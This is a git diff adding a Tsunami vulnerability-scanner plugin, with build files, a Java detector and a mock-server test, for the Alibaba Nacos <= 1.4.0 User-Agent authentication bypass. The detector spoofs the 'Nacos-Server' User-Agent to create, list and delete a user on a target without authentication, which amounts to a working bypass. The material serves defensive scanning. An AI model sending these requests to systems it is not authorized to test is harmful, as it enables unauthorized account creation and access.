diff --git a/google/detectors/nacos/auth_bypass_lte1.4.0/README.md b/google/detectors/nacos/auth_bypass_lte1.4.0/README.md
new file mode 100644
index 000000000..f758c6bf8
--- /dev/null
+++ b/google/detectors/nacos/auth_bypass_lte1.4.0/README.md
@@ -0,0 +1,16 @@
+# Alibaba-Nacos <= 1.4.0 User-Agent authentication bypass vulnerability Detector
+
+This detector checks for Alibaba-Nacos <= 1.4.0 User-Agent authentication bypass vulnerability.
+When the nacos version is less than or equal to 1.4.0, when accessing the http endpoint, 
+adding the User-Agent: Nacos-Server header can bypass the authentication restriction and access any http endpoint.
+https://github.com/alibaba/nacos/issues/4593
+
+## Build jar file for this plugin
+
+Using `gradlew`:
+
+```shell
+./gradlew jar
+```
+
+Tsunami identifiable jar file is located at `build/libs` directory.
diff --git a/google/detectors/nacos/auth_bypass_lte1.4.0/build.gradle b/google/detectors/nacos/auth_bypass_lte1.4.0/build.gradle
new file mode 100644
index 000000000..7c97c5d80
--- /dev/null
+++ b/google/detectors/nacos/auth_bypass_lte1.4.0/build.gradle
@@ -0,0 +1,70 @@
+plugins {
+    id 'java'
+}
+
+group 'com.google.tsunami'
+version '1.0-SNAPSHOT'
+
+repositories {
+    maven { // The google mirror is less flaky than mavenCentral()
+        url 'https://maven-central.storage-download.googleapis.com/repos/central/data/'
+    }
+    mavenCentral()
+    mavenLocal()
+}
+
+java {
+    sourceCompatibility = JavaVersion.VERSION_1_8
+    targetCompatibility = JavaVersion.VERSION_1_8
+
+    jar.manifest {
+        attributes('Implementation-Title': name,
+                'Implementation-Version': version,
+                'Built-By': System.getProperty('user.name'),
+                'Built-JDK': System.getProperty('java.version'),
+                'Source-Compatibility': sourceCompatibility,
+                'Target-Compatibility': targetCompatibility)
+    }
+
+    javadoc.options {
+        encoding = 'UTF-8'
+        use = true
+        links 'https://docs.oracle.com/javase/8/docs/api/'
+        source = '8'
+    }
+
+    // Log stacktrace to console when test fails.
+    test {
+        testLogging {
+            exceptionFormat = 'full'
+            showExceptions true
+            showCauses true
+            showStackTraces true
+        }
+        maxHeapSize = '1500m'
+    }
+}
+
+ext {
+    okhttpVersion = '3.12.0'
+    autoValueVersion = '1.7'
+    tsunamiVersion = '0.0.3'
+    junitVersion = '4.13'
+    mockitoVersion = '2.28.2'
+    truthVersion = '1.0.1'
+}
+
+dependencies {
+    implementation "com.google.auto.value:auto-value-annotations:${autoValueVersion}"
+    implementation "com.google.tsunami:tsunami-common:${tsunamiVersion}"
+    implementation "com.google.tsunami:tsunami-plugin:${tsunamiVersion}"
+    implementation "com.google.tsunami:tsunami-proto:${tsunamiVersion}"
+    annotationProcessor "com.google.auto.value:auto-value:${autoValueVersion}"
+
+    testImplementation "junit:junit:${junitVersion}"
+    testImplementation "org.mockito:mockito-core:${mockitoVersion}"
+    testImplementation "com.google.truth:truth:${truthVersion}"
+    testImplementation "com.google.truth.extensions:truth-java8-extension:${truthVersion}"
+    testImplementation "com.google.truth.extensions:truth-proto-extension:${truthVersion}"
+    testImplementation "com.squareup.okhttp3:mockwebserver:${okhttpVersion}"
+}
\ No newline at end of file
diff --git a/google/detectors/nacos/auth_bypass_lte1.4.0/gradle/wrapper/gradle-wrapper.jar b/google/detectors/nacos/auth_bypass_lte1.4.0/gradle/wrapper/gradle-wrapper.jar
new file mode 100644
index 000000000..7454180f2
Binary files /dev/null and b/google/detectors/nacos/auth_bypass_lte1.4.0/gradle/wrapper/gradle-wrapper.jar differ
diff --git a/google/detectors/nacos/auth_bypass_lte1.4.0/gradle/wrapper/gradle-wrapper.properties b/google/detectors/nacos/auth_bypass_lte1.4.0/gradle/wrapper/gradle-wrapper.properties
new file mode 100644
index 000000000..69a971507
--- /dev/null
+++ b/google/detectors/nacos/auth_bypass_lte1.4.0/gradle/wrapper/gradle-wrapper.properties
@@ -0,0 +1,5 @@
+distributionBase=GRADLE_USER_HOME
+distributionPath=wrapper/dists
+distributionUrl=https\://services.gradle.org/distributions/gradle-7.1-bin.zip
+zipStoreBase=GRADLE_USER_HOME
+zipStorePath=wrapper/dists
diff --git a/google/detectors/nacos/auth_bypass_lte1.4.0/gradlew b/google/detectors/nacos/auth_bypass_lte1.4.0/gradlew
new file mode 100755
index 000000000..744e882ed
--- /dev/null
+++ b/google/detectors/nacos/auth_bypass_lte1.4.0/gradlew
@@ -0,0 +1,185 @@
+#!/usr/bin/env sh
+
+#
+# Copyright 2015 the original author or authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      https://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+##############################################################################
+##
+##  Gradle start up script for UN*X
+##
+##############################################################################
+
+# Attempt to set APP_HOME
+# Resolve links: $0 may be a link
+PRG="$0"
+# Need this for relative symlinks.
+while [ -h "$PRG" ] ; do
+    ls=`ls -ld "$PRG"`
+    link=`expr "$ls" : '.*-> \(.*\)$'`
+    if expr "$link" : '/.*' > /dev/null; then
+        PRG="$link"
+    else
+        PRG=`dirname "$PRG"`"/$link"
+    fi
+done
+SAVED="`pwd`"
+cd "`dirname \"$PRG\"`/" >/dev/null
+APP_HOME="`pwd -P`"
+cd "$SAVED" >/dev/null
+
+APP_NAME="Gradle"
+APP_BASE_NAME=`basename "$0"`
+
+# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
+DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"'
+
+# Use the maximum available, or set MAX_FD != -1 to use that value.
+MAX_FD="maximum"
+
+warn () {
+    echo "$*"
+}
+
+die () {
+    echo
+    echo "$*"
+    echo
+    exit 1
+}
+
+# OS specific support (must be 'true' or 'false').
+cygwin=false
+msys=false
+darwin=false
+nonstop=false
+case "`uname`" in
+  CYGWIN* )
+    cygwin=true
+    ;;
+  Darwin* )
+    darwin=true
+    ;;
+  MSYS* | MINGW* )
+    msys=true
+    ;;
+  NONSTOP* )
+    nonstop=true
+    ;;
+esac
+
+CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar
+
+
+# Determine the Java command to use to start the JVM.
+if [ -n "$JAVA_HOME" ] ; then
+    if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
+        # IBM's JDK on AIX uses strange locations for the executables
+        JAVACMD="$JAVA_HOME/jre/sh/java"
+    else
+        JAVACMD="$JAVA_HOME/bin/java"
+    fi
+    if [ ! -x "$JAVACMD" ] ; then
+        die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
+
+Please set the JAVA_HOME variable in your environment to match the
+location of your Java installation."
+    fi
+else
+    JAVACMD="java"
+    which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
+
+Please set the JAVA_HOME variable in your environment to match the
+location of your Java installation."
+fi
+
+# Increase the maximum file descriptors if we can.
+if [ "$cygwin" = "false" -a "$darwin" = "false" -a "$nonstop" = "false" ] ; then
+    MAX_FD_LIMIT=`ulimit -H -n`
+    if [ $? -eq 0 ] ; then
+        if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then
+            MAX_FD="$MAX_FD_LIMIT"
+        fi
+        ulimit -n $MAX_FD
+        if [ $? -ne 0 ] ; then
+            warn "Could not set maximum file descriptor limit: $MAX_FD"
+        fi
+    else
+        warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT"
+    fi
+fi
+
+# For Darwin, add options to specify how the application appears in the dock
+if $darwin; then
+    GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\""
+fi
+
+# For Cygwin or MSYS, switch paths to Windows format before running java
+if [ "$cygwin" = "true" -o "$msys" = "true" ] ; then
+    APP_HOME=`cygpath --path --mixed "$APP_HOME"`
+    CLASSPATH=`cygpath --path --mixed "$CLASSPATH"`
+
+    JAVACMD=`cygpath --unix "$JAVACMD"`
+
+    # We build the pattern for arguments to be converted via cygpath
+    ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null`
+    SEP=""
+    for dir in $ROOTDIRSRAW ; do
+        ROOTDIRS="$ROOTDIRS$SEP$dir"
+        SEP="|"
+    done
+    OURCYGPATTERN="(^($ROOTDIRS))"
+    # Add a user-defined pattern to the cygpath arguments
+    if [ "$GRADLE_CYGPATTERN" != "" ] ; then
+        OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)"
+    fi
+    # Now convert the arguments - kludge to limit ourselves to /bin/sh
+    i=0
+    for arg in "$@" ; do
+        CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -`
+        CHECK2=`echo "$arg"|egrep -c "^-"`                                 ### Determine if an option
+
+        if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then                    ### Added a condition
+            eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"`
+        else
+            eval `echo args$i`="\"$arg\""
+        fi
+        i=`expr $i + 1`
+    done
+    case $i in
+        0) set -- ;;
+        1) set -- "$args0" ;;
+        2) set -- "$args0" "$args1" ;;
+        3) set -- "$args0" "$args1" "$args2" ;;
+        4) set -- "$args0" "$args1" "$args2" "$args3" ;;
+        5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;;
+        6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;;
+        7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;;
+        8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;;
+        9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;;
+    esac
+fi
+
+# Escape application args
+save () {
+    for i do printf %s\\n "$i" | sed "s/'/'\\\\''/g;1s/^/'/;\$s/\$/' \\\\/" ; done
+    echo " "
+}
+APP_ARGS=`save "$@"`
+
+# Collect all arguments for the java command, following the shell quoting and substitution rules
+eval set -- $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS "\"-Dorg.gradle.appname=$APP_BASE_NAME\"" -classpath "\"$CLASSPATH\"" org.gradle.wrapper.GradleWrapperMain "$APP_ARGS"
+
+exec "$JAVACMD" "$@"
diff --git a/google/detectors/nacos/auth_bypass_lte1.4.0/gradlew.bat b/google/detectors/nacos/auth_bypass_lte1.4.0/gradlew.bat
new file mode 100644
index 000000000..107acd32c
--- /dev/null
+++ b/google/detectors/nacos/auth_bypass_lte1.4.0/gradlew.bat
@@ -0,0 +1,89 @@
+@rem
+@rem Copyright 2015 the original author or authors.
+@rem
+@rem Licensed under the Apache License, Version 2.0 (the "License");
+@rem you may not use this file except in compliance with the License.
+@rem You may obtain a copy of the License at
+@rem
+@rem      https://www.apache.org/licenses/LICENSE-2.0
+@rem
+@rem Unless required by applicable law or agreed to in writing, software
+@rem distributed under the License is distributed on an "AS IS" BASIS,
+@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+@rem See the License for the specific language governing permissions and
+@rem limitations under the License.
+@rem
+
+@if "%DEBUG%" == "" @echo off
+@rem ##########################################################################
+@rem
+@rem  Gradle startup script for Windows
+@rem
+@rem ##########################################################################
+
+@rem Set local scope for the variables with windows NT shell
+if "%OS%"=="Windows_NT" setlocal
+
+set DIRNAME=%~dp0
+if "%DIRNAME%" == "" set DIRNAME=.
+set APP_BASE_NAME=%~n0
+set APP_HOME=%DIRNAME%
+
+@rem Resolve any "." and ".." in APP_HOME to make it shorter.
+for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi
+
+@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
+set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m"
+
+@rem Find java.exe
+if defined JAVA_HOME goto findJavaFromJavaHome
+
+set JAVA_EXE=java.exe
+%JAVA_EXE% -version >NUL 2>&1
+if "%ERRORLEVEL%" == "0" goto execute
+
+echo.
+echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
+echo.
+echo Please set the JAVA_HOME variable in your environment to match the
+echo location of your Java installation.
+
+goto fail
+
+:findJavaFromJavaHome
+set JAVA_HOME=%JAVA_HOME:"=%
+set JAVA_EXE=%JAVA_HOME%/bin/java.exe
+
+if exist "%JAVA_EXE%" goto execute
+
+echo.
+echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME%
+echo.
+echo Please set the JAVA_HOME variable in your environment to match the
+echo location of your Java installation.
+
+goto fail
+
+:execute
+@rem Setup the command line
+
+set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar
+
+
+@rem Execute Gradle
+"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %*
+
+:end
+@rem End local scope for the variables with windows NT shell
+if "%ERRORLEVEL%"=="0" goto mainEnd
+
+:fail
+rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
+rem the _cmd.exe /c_ return code!
+if  not "" == "%GRADLE_EXIT_CONSOLE%" exit 1
+exit /b 1
+
+:mainEnd
+if "%OS%"=="Windows_NT" endlocal
+
+:omega
diff --git a/google/detectors/nacos/auth_bypass_lte1.4.0/settings.gradle b/google/detectors/nacos/auth_bypass_lte1.4.0/settings.gradle
new file mode 100644
index 000000000..26c82f274
--- /dev/null
+++ b/google/detectors/nacos/auth_bypass_lte1.4.0/settings.gradle
@@ -0,0 +1,2 @@
+rootProject.name = 'auth_bypass_lte1.4.0'
+
diff --git a/google/detectors/nacos/auth_bypass_lte1.4.0/src/main/java/com/google/tsunami/plugins/detectors/nacos/auth_bypass_lte140/NacosAuthBypassVulnDetector.java b/google/detectors/nacos/auth_bypass_lte1.4.0/src/main/java/com/google/tsunami/plugins/detectors/nacos/auth_bypass_lte140/NacosAuthBypassVulnDetector.java
new file mode 100644
index 000000000..fdbd9325f
--- /dev/null
+++ b/google/detectors/nacos/auth_bypass_lte1.4.0/src/main/java/com/google/tsunami/plugins/detectors/nacos/auth_bypass_lte140/NacosAuthBypassVulnDetector.java
@@ -0,0 +1,158 @@
+package com.google.tsunami.plugins.detectors.nacos.auth_bypass_lte140;
+
+/**
+ * A {@link VulnDetector} that detects the Ghostcat vulnerability.
+ */
+
+import com.google.common.collect.ImmutableList;
+import com.google.common.flogger.GoogleLogger;
+import com.google.inject.Inject;
+import com.google.protobuf.util.Timestamps;
+import com.google.tsunami.common.data.NetworkServiceUtils;
+import com.google.tsunami.common.net.http.HttpClient;
+import com.google.tsunami.common.net.http.HttpHeaders;
+import com.google.tsunami.common.net.http.HttpResponse;
+import com.google.tsunami.common.net.http.HttpStatus;
+import com.google.tsunami.common.time.UtcClock;
+import com.google.tsunami.plugin.PluginType;
+import com.google.tsunami.plugin.VulnDetector;
+import com.google.tsunami.plugin.annotations.PluginInfo;
+import com.google.tsunami.proto.*;
+
+import java.io.IOException;
+import java.time.Clock;
+import java.time.Instant;
+import java.util.Random;
+
+import static com.google.common.base.Preconditions.checkNotNull;
+import static com.google.common.collect.ImmutableList.toImmutableList;
+import static com.google.tsunami.common.net.http.HttpRequest.*;
+
+@PluginInfo(
+    type = PluginType.VULN_DETECTION,
+    name = "NacosAuthBypassVulnDetector",
+    version = "1.0",
+    description = "This detector checks for Alibaba-Nacos <= 1.4.0 User-Agent authentication bypass vulnerability.",
+    author = "threedr3am (threedr3am@foxmail.com)",
+    bootstrapModule = NacosAuthBypassVulnDetectorBootstrapModule.class
+)
+public class NacosAuthBypassVulnDetector implements VulnDetector {
+
+  private static final GoogleLogger logger = GoogleLogger.forEnclosingClass();
+
+  private final Clock utcClock;
+  private final HttpClient httpClient;
+
+  @Inject
+  NacosAuthBypassVulnDetector(@UtcClock Clock utcClock, HttpClient httpClient) {
+    this.utcClock = checkNotNull(utcClock);
+    this.httpClient = checkNotNull(httpClient);
+  }
+
+  @Override
+  public DetectionReportList detect(
+      TargetInfo targetInfo, ImmutableList<NetworkService> matchedServices) {
+    return DetectionReportList.newBuilder()
+        .addAllDetectionReports(
+            matchedServices.stream()
+                .filter(NetworkServiceUtils::isWebService)
+                .filter(this::isServiceVulnerable)
+                .map(networkService -> buildDetectionReport(targetInfo, networkService))
+                .collect(toImmutableList()))
+        .build();
+  }
+
+  private boolean isServiceVulnerable(NetworkService networkService) {
+    int num = new Random().nextInt(Integer.MAX_VALUE);
+    String username = "user_" + num;
+    String password = "pass_" + num;
+
+    HttpHeaders httpHeaders = HttpHeaders.builder()
+        .addHeader("User-Agent", "Nacos-Server")
+        .build();
+
+    // 1. create random user
+    String targetUri = NetworkServiceUtils.buildWebApplicationRootUrl(networkService)
+        + String.format("nacos/v1/auth/users?username=%s&password=%s", username, password);
+    try {
+      HttpResponse response = httpClient.send(post(targetUri).setHeaders(httpHeaders).build(),
+          networkService);
+      try {
+        if (response.status() != HttpStatus.OK || !response.bodyString().isPresent()) {
+          return false;
+        }
+        if (!response.bodyString().get().contains("create user ok!")) {
+          return false;
+        }
+      } catch (Throwable t) {
+        logger.atInfo().log("Failed to parse cores response json");
+      }
+    } catch (IOException e) {
+      logger.atWarning().withCause(e).log("Unable to query '%s'.", targetUri);
+    }
+
+    // 2. check user exist
+    String targetUri2 = NetworkServiceUtils.buildWebApplicationRootUrl(networkService)
+        + "nacos/v1/auth/users?pageNo=1&pageSize=999";
+    try {
+      HttpResponse response = httpClient.send(get(targetUri2).setHeaders(httpHeaders).build(),
+          networkService);
+      try {
+        if (response.status() != HttpStatus.OK || !response.bodyString().isPresent()) {
+          return false;
+        }
+        if (!response.bodyString().get().contains(username)) {
+          return false;
+        }
+      } catch (Throwable t) {
+        logger.atInfo().log("Failed to parse cores response json");
+      }
+    } catch (IOException e) {
+      logger.atWarning().withCause(e).log("Unable to query '%s'.", targetUri);
+    }
+
+    // 3. recover
+    String targetUri3 = NetworkServiceUtils.buildWebApplicationRootUrl(networkService)
+        + String.format("nacos/v1/auth/users?username=%s", username);
+    try {
+      HttpResponse response = httpClient.send(delete(targetUri3).setHeaders(httpHeaders).build(),
+          networkService);
+      try {
+        if (response.status() != HttpStatus.OK || !response.bodyString().isPresent()) {
+          return false;
+        }
+        if (response.bodyString().get().contains("delete user ok!")) {
+          return true;
+        }
+      } catch (Throwable t) {
+        logger.atInfo().log("Failed to parse cores response json");
+      }
+    } catch (IOException e) {
+      logger.atWarning().withCause(e).log("Unable to query '%s'.", targetUri);
+    }
+    return false;
+  }
+
+  public DetectionReport buildDetectionReport(
+      TargetInfo targetInfo, NetworkService vulnerableNetworkService) {
+    return DetectionReport.newBuilder()
+        .setTargetInfo(targetInfo)
+        .setNetworkService(vulnerableNetworkService)
+        .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli()))
+        .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED)
+        .setVulnerability(
+            Vulnerability.newBuilder()
+                .setMainId(
+                    VulnerabilityId.newBuilder().setPublisher("threedr3am")
+                        .setValue("NACOS-ISSUE #4593"))
+                .setSeverity(Severity.CRITICAL)
+                .setTitle("Alibaba-Nacos User-Agent authentication bypass vulnerability")
+                .setDescription(
+                    "This detector checks for Alibaba-Nacos <= 1.4.0 User-Agent authentication bypass vulnerability."
+                        + "When the nacos version is less than or equal to 1.4.0, when accessing the http endpoint, "
+                        + "adding the User-Agent: Nacos-Server header can bypass the authentication restriction and access any http endpoint."
+                        + "https://github.com/alibaba/nacos/issues/4593")
+        )
+        .build();
+  }
+}
diff --git a/google/detectors/nacos/auth_bypass_lte1.4.0/src/main/java/com/google/tsunami/plugins/detectors/nacos/auth_bypass_lte140/NacosAuthBypassVulnDetectorBootstrapModule.java b/google/detectors/nacos/auth_bypass_lte1.4.0/src/main/java/com/google/tsunami/plugins/detectors/nacos/auth_bypass_lte140/NacosAuthBypassVulnDetectorBootstrapModule.java
new file mode 100644
index 000000000..46fd34e40
--- /dev/null
+++ b/google/detectors/nacos/auth_bypass_lte1.4.0/src/main/java/com/google/tsunami/plugins/detectors/nacos/auth_bypass_lte140/NacosAuthBypassVulnDetectorBootstrapModule.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright 2020 Google LLC
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.google.tsunami.plugins.detectors.nacos.auth_bypass_lte140;
+
+import com.google.tsunami.plugin.PluginBootstrapModule;
+
+/**
+ * A {@link PluginBootstrapModule} for {@link NacosAuthBypassVulnDetector}.
+ */
+public final class NacosAuthBypassVulnDetectorBootstrapModule extends PluginBootstrapModule {
+
+  @Override
+  protected void configurePlugin() {
+    registerPlugin(NacosAuthBypassVulnDetector.class);
+  }
+}
diff --git a/google/detectors/nacos/auth_bypass_lte1.4.0/src/test/java/com/google/tsunami/plugins/detectors/nacos/auth_bypass_lte140/NacosAuthBypassVulnDetectorTest.java b/google/detectors/nacos/auth_bypass_lte1.4.0/src/test/java/com/google/tsunami/plugins/detectors/nacos/auth_bypass_lte140/NacosAuthBypassVulnDetectorTest.java
new file mode 100644
index 000000000..9d9d5d6f6
--- /dev/null
+++ b/google/detectors/nacos/auth_bypass_lte1.4.0/src/test/java/com/google/tsunami/plugins/detectors/nacos/auth_bypass_lte140/NacosAuthBypassVulnDetectorTest.java
@@ -0,0 +1,116 @@
+package com.google.tsunami.plugins.detectors.nacos.auth_bypass_lte140;
+
+import com.google.common.collect.ImmutableList;
+import com.google.inject.Guice;
+import com.google.inject.Inject;
+import com.google.tsunami.common.net.http.HttpClientModule;
+import com.google.tsunami.common.net.http.HttpStatus;
+import com.google.tsunami.common.time.testing.FakeUtcClock;
+import com.google.tsunami.common.time.testing.FakeUtcClockModule;
+import com.google.tsunami.proto.*;
+import okhttp3.mockwebserver.Dispatcher;
+import okhttp3.mockwebserver.MockResponse;
+import okhttp3.mockwebserver.MockWebServer;
+import okhttp3.mockwebserver.RecordedRequest;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.io.IOException;
+import java.time.Instant;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostname;
+import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort;
+
+public class NacosAuthBypassVulnDetectorTest {
+
+  private final FakeUtcClock fakeUtcClock =
+      FakeUtcClock.create().setNow(Instant.parse("2020-01-01T00:00:00.00Z"));
+
+  @Inject
+  private NacosAuthBypassVulnDetector detector;
+
+  private MockWebServer mockWebServer;
+
+  @Before
+  public void setUp() {
+    mockWebServer = new MockWebServer();
+  }
+
+  @After
+  public void tearDown() throws IOException {
+    mockWebServer.shutdown();
+  }
+
+  private void createInjector() {
+    Guice.createInjector(
+            new FakeUtcClockModule(fakeUtcClock),
+            new HttpClientModule.Builder().build())
+        .injectMembers(this);
+  }
+
+  @Test
+  public void testAuthBypass()
+      throws IOException {
+    createInjector();
+    mockWebServer.setDispatcher(new VulnerableEndpointDispatcher());
+    mockWebServer.start();
+
+    ImmutableList<NetworkService> httpServices = ImmutableList.of(
+        NetworkService.newBuilder()
+            .setNetworkEndpoint(
+                forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort()))
+            .setTransportProtocol(TransportProtocol.TCP)
+            .setServiceName("http")
+            .build());
+
+    TargetInfo targetInfo = buildTargetInfo(forHostname(mockWebServer.getHostName()));
+    DetectionReportList detectionReports = detector.detect(targetInfo, httpServices);
+
+    assertThat(detectionReports.getDetectionReportsList()).containsExactly(
+        detector.buildDetectionReport(targetInfo, httpServices.get(0)));
+    assertThat(mockWebServer.getRequestCount()).isEqualTo(3);
+  }
+
+
+  static final class VulnerableEndpointDispatcher extends Dispatcher {
+
+    private String username;
+
+    private Pattern pattern = Pattern.compile("username=(.+?)&");
+
+    @Override
+    public MockResponse dispatch(RecordedRequest recordedRequest) {
+      if (recordedRequest.getPath().startsWith("/nacos/v1/auth/users")) {
+        if (recordedRequest.getMethod().equals("POST")) {
+          Matcher matcher = pattern.matcher(recordedRequest.getPath());
+          boolean match = matcher.find();
+          if (!match) {
+            matcher = pattern.matcher(recordedRequest.getUtf8Body());
+            match = matcher.find();
+          }
+          if (match) {
+            this.username = matcher.group(1);
+          } else {
+            return new MockResponse().setResponseCode(HttpStatus.OK.code());
+          }
+          return new MockResponse().setResponseCode(HttpStatus.OK.code())
+              .setBody("create user ok!");
+        } else if (recordedRequest.getMethod().equals("GET")) {
+          return new MockResponse().setResponseCode(HttpStatus.OK.code()).setBody(username);
+        } else if (recordedRequest.getMethod().equals("DELETE")) {
+          return new MockResponse().setResponseCode(HttpStatus.OK.code())
+              .setBody("delete user ok!");
+        }
+      }
+      return new MockResponse().setResponseCode(HttpStatus.OK.code());
+    }
+  }
+
+  private static TargetInfo buildTargetInfo(NetworkEndpoint networkEndpoint) {
+    return TargetInfo.newBuilder().addNetworkEndpoints(networkEndpoint).build();
+  }
+}